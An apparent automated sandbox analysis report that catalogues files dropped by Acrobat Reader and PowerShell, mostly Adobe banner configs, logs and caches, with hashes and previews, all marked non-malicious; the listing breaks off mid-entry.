Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.255873532862722
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfYdPeUkwRe9:YvXKXaOyxsdTeOnGg8Ukee9
MD5:	1C4D09BBB2E5B32C939E051DC56C5094
SHA1:	6A97FBDBA3A8944E935FF86CA0E794BBE30CBE9B
SHA-256:	1CFA4873A65D90A1BDDE77EB4E8642162BF83F4A20EDB2558F8811A904272338
SHA-512:	369947B49025804C76B10207C11F7AC294F56E705195BA2725D013C5240447227C1F0F3CD8EE46DE0FFEA8BA4C1F20AB193C81217A189ED3020FE78E09962C22
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.242491965878287
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJf+dPeUkwRe9:YvXKXaOyxsdTeOnG28Ukee9
MD5:	45EDC558F8187F64E97CF5136AF93A3B
SHA1:	72ECD5725F05868DFF9B37C879598830D716456E
SHA-256:	0660794307DA00F927CEA6066CCF537BB2810F40389CDE6C15C6B13528CBBBBE
SHA-512:	B311102BA6217FA805861CCF19A01AD5C867D95A5F0CC0D9B124B2F9B640E399E85793889BC87F4E3F565F295B035F42074EF6AEE7EF10B63DEEE04D525FCFF6
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.239723905224815
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfbPtdPeUkwRe9:YvXKXaOyxsdTeOnGDV8Ukee9
MD5:	024C3B74B2DB0DBE57BE71AD6E809590
SHA1:	289D3F25C19E83A95743FE317323D115595E66AC
SHA-256:	880AE40D51B6694CBD91CEF6CD4F32E4D7CC67EFCBE1633E037CE8076E700837
SHA-512:	5E468D3CF48ECB063046486E4D6670B66E05BB67FAFD72C1616A273F0A679428245A44254ABF0D87463C13F3DE471833DA969C6B841A970EA2731D6253297C3A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.244060447246595
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJf21rPeUkwRe9:YvXKXaOyxsdTeOnG+16Ukee9
MD5:	196FE1E16C2BB7A24418260210985B20
SHA1:	B6A343389162538345A7349730163EB5E384A32E
SHA-256:	365E0D836283544196509440224CBCE3B25D9242EC1591006DC61E69B93FCFB9
SHA-512:	0A31E44459D78352D6CB938D826B163F3E6D36C3B14B638DF1FFBA1D5B818ABC4A6A621ED6592504EC10FEC4C5FDF11EF41CA51C6F7E8E42FE7FE69444C086F8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.655253425434017
Encrypted:	false
SSDEEP:	24:Yv6XxyxmeOYamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSS:YvAyMe/BgkDMUJUAh8cvMS
MD5:	7BC19EA1C49F10DF5D639762CF8E5384
SHA1:	E9CAEFC794F3BF209554DF23086F6899B07C44A6
SHA-256:	EC3B8EBBA0F7B69BAB526246B4F347C0C36711875A6BFE784A4E69F286AB656C
SHA-512:	0FAF39ED76CA459973472EAA536AB05D9A113804265F7DB025167B4D1C0EED24BE04712F4A62B096F47DB554175D951639C29A0364420C8CF1F7CD6F0A4242C9
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.2225794803337635
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJfshHHrPeUkwRe9:YvXKXaOyxsdTeOnGUUUkee9
MD5:	E61F26E5EF861F75D026B557D15EAF15
SHA1:	1ED96905CCAC8F54A68E572455E2E17BDEFC8104
SHA-256:	2BF93DEBE2F4C013636B080E685C41A96F8502AA12BC15A9568664E654F41876
SHA-512:	A9E998016C6AD41E029E1BFB32E64E4606ECC2F20624B9109DAD3D542C659A00F17341BEA0F3F802321A6333F0607AB2C145BCA74059D510946D27ADD82EAA63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.248405923999515
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDGOJE3t2WsGiIPEeOF0YZaoAvJTqgFCrPeUkwRe9:YvXKXaOyxsdTeOnGTq16Ukee9
MD5:	9CC47B0BE36982D67A4F1E143D850481
SHA1:	49FC4B8DAA17E7C1E8BDE15FC6CDD259C4BCF72A
SHA-256:	1667464CAEA5EE07892AC1CC3459D1BED74839B4E070A6200BEF62A4E9B267AB
SHA-512:	3A1055011A60FB0B80C934F88AB54F93CD2806286E5610CB24F449F5FE9CB7F5A84D0EDDBD977B61A54E4DF2F226E44FBDE8B5657A65F5A85A150F394E77EAD2
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4cb7cabe-b4f3-47a7-95ee-c4ae7e87cec7","sophiaUUID":"83ABFDB2-FC78-4BD3-A96C-A13541192F3B"},"encodingScheme":true,"expirationDTS":1736705979906,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.133586255107738
Encrypted:	false
SSDEEP:	24:YS1IaQ3aydGwSKsBqPS7RYN3aQ1jx7yj0SP072bG2LShCPdKESMhr/WO85mn9luU:Y8IEkcRDOxQeTDWdKEJhre49ln
MD5:	CE01A88E637A0B43AB82D96261D3BF98
SHA1:	D8B4C41873A7FD01B34904434C6A21E26BE572DA
SHA-256:	4E2E7E34851C69EE542C0407DA091105C1032B9F959ECD01E4B9FAEC49E43949
SHA-512:	58E1E621B51F7F900C2E59F0BB048E884E35C358198F3E549CF6FE5BB7C425D30A129D43188546B84296156C5D3940A1B30E3A2BCF115A30F38F5CB12BFCBB83
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"3bc7df91fc2dfff4fb8a952166727994","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736535465000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"f4e4fc1dcc90e793cf720be9ff3f86df","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736535464000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"8f71eadc493e71b7347f9a14ab9bc244","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736535464000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"6adb310e69004b3af4e4ef7bf10ebf1e","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736535464000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"995bf88f6b43f997baefd24239125c6f","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736535464000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"d18a78ea97596fa25675985d17ef8e02","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.4543279846845367
Encrypted:	false
SSDEEP:	48:TGufl2GL7msCvrBd6dHtbGIbPe0K3+fDy2dsjlB:lNVmsw3SHtbDbPe0K3+fDZdk
MD5:	E6FA384951D569C405A02F97F7C2E7DC
SHA1:	FE8808E35B61BEDBE5E884A7283C99F735183915
SHA-256:	FFA21B5FEFDDABE34763448CFE6AEF1094D51E2866A543188F187321CA1DB804
SHA-512:	FCB027379422EA0291215EB8D86F7F62E7D42D456EDAC77407DDAE86D4D3D0B413C998F162E5AE2F19DE1A464F2F98193CE38033F4BAA67A8AE8BF1E861393D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.9590981128723555
Encrypted:	false
SSDEEP:	48:7MFrvrBd6dHtbGIbPe0K3+fDy2dsiXpqFl2GL7msKB:743SHtbDbPe0K3+fDZd3pKVmsk
MD5:	5019D735F1F447DC4547859283BCBC16
SHA1:	2D95B7DACDA335E14AA0D2975222DA6EAA71603D
SHA-256:	819075519EFEDE61E791CA715E22692BD92AA13B443A142AC04E0E1F347582CE
SHA-512:	FAE71A7B826E6CF16A9556D8BF322075D3A8ADE86104FA322B8B9408E5664D0C4D7CD4B7DE88174B51F095EB7F5C55181E5A52139B58CE816AEDEA148F5F3309
Malicious:	false
Preview:	.... .c......w........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................v.../.././././....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg/FlbypENu38kCufpAalwCfBDu1UyYyu:6a6TZ44ADE/FlbCENu7CoLo1nK
MD5:	EE033242054281E2A64F2FD4E41D80A9
SHA1:	7C00536737D336F425833B8A887C6E3B01D063F0
SHA-256:	AE8C1B32FDC59EE917E0C9FB0AC88C34786C8E7FE0771492B9443E7E944B077A
SHA-512:	8BF2925EBAD7C8C5C4CF2B60EE0F80FE0B466A969A91F72556001BF53AB48752BB81F3D828D9A4E659CA82BA4A46806FAEE81B481A1552E95FFE269FB3C0A80D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI3d36b.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.4785165581894812
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClE3GlJll:Qw946cPbiOxDlbYnuRK+bD3Glrl
MD5:	44CFE03125A73017CBC8DDC2A10527CB
SHA1:	E81D58A2EDDC89EA24DB7D0142E2E4D8086C4E32
SHA-256:	C20ECAA07BF58B7FCDF16768E16CFA30D49F34FDE4F9CC63F57183AD774AA77A
SHA-512:	DBF2AF8CE6BCB2914C97B920F04423EC8506F3378D4D94477D62D59786256182D55D49BF6385AAF234A98D32B5D4B075AAD3CB75501E36B9FC96DBBC824ED6CB
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.2.:.1.1.:.0.7. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hgz52dw3.1zq.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qwdvkwzp.zzw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 12-11-01-928.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.386483451061953
Encrypted:	false
SSDEEP:	384:A2+jkjVj8jujXj+jPjghjKj0jLjmF/FRFO7t75NsXNsbNsgNssNsNNsaNsliNsTY:AXg5IqTS7Mh+oXChrYhFiQHXiz1W60ID
MD5:	F49CA270724D610D1589E217EA78D6D1
SHA1:	22D43D4BB9BDC1D1DEA734399D2D71E264AA3DD3
SHA-256:	D2FFBB2EF8FCE09991C2EFAA91B6784497E8C55845807468A3385CF6029A2F8D
SHA-512:	181B42465DE41E298329CBEB80181CBAB77CFD1701DBA31E61B2180B483BC35E2EFAFFA14C98F1ED0EDDE67F997EE4219C5318CE846BB0116A908FB2EAB61D29
Malicious:	false
Preview:	SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:808+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f1c78126-6a87-4f56-987d-4547733fd5ac.1696492435808 Timestamp=2023-10-05T09:53:55:809+0200 ThreadID=6044 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.3460214050026
Encrypted:	false
SSDEEP:	384:btxA5NUOQQ3nUzqF+pgT6dj9d+Bm0DzDzDZDsHS2MkUdbqt/eWx1XULURoPF5bql:wIn
MD5:	7A4E90F5E2F47B39A6F49093E4C4BE95
SHA1:	91C864223BB106A591D92DB7C88297623473E3B7
SHA-256:	F5AA62DA3BDB2617536A7D15CF1728352E9396C1352D4453128623580A2719BD
SHA-512:	7ED4981E20B8665FFA4B0760705A1927C87265DF5208EF27EB68217F86FDAECF2731B4732772154AD45DC30513E8B638C30AA1D6886DF8043B4378FC5C83CF35
Malicious:	false
Preview:	SessionID=d303b559-99ca-4fba-b87e-19a910660cf8.1736529061957 Timestamp=2025-01-10T12:11:01:957-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=d303b559-99ca-4fba-b87e-19a910660cf8.1736529061957 Timestamp=2025-01-10T12:11:01:959-0500 ThreadID=7556 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=d303b559-99ca-4fba-b87e-19a910660cf8.1736529061957 Timestamp=2025-01-10T12:11:01:959-0500 ThreadID=7556 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=d303b559-99ca-4fba-b87e-19a910660cf8.1736529061957 Timestamp=2025-01-10T12:11:01:959-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=d303b559-99ca-4fba-b87e-19a910660cf8.1736529061957 Timestamp=2025-01-10T12:11:01:959-0500 ThreadID=7556 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	35721
Entropy (8bit):	5.406267059922627
Encrypted:	false
SSDEEP:	768:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gRldy0+AyxkHBDgRh9gRLbdQ:hRDD/ATOlQwlgR6RgRT4xk1Bh9+R6gR4
MD5:	131BC8B4E6DC4246F27EA77A91355931
SHA1:	FF5CD2A4DF57218E2BF8665B88834B14C58CB93F
SHA-256:	0B5D5A0EFEC79D77F51F2BE6B9956B0F3AE06F6D55B4F4273F069134E201F746
SHA-512:	B67DC4E268C25FEA229CEA28725291FD2A295EDC17FEFF7713CD828C5CAD457B7FAC046A610BC56B0DD5C873F69F75BED72EAA750B9360FCD362D4DD0D5BA999
Malicious:	false
Preview:	05-10-2023 08:41:17:.---2---..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:41:17:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:41:17:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1a15913f-9fe3-4349-86a5-5b1da7b19eb1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\9d050764-c22e-4ad5-b5f9-dc66f6919b3f.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
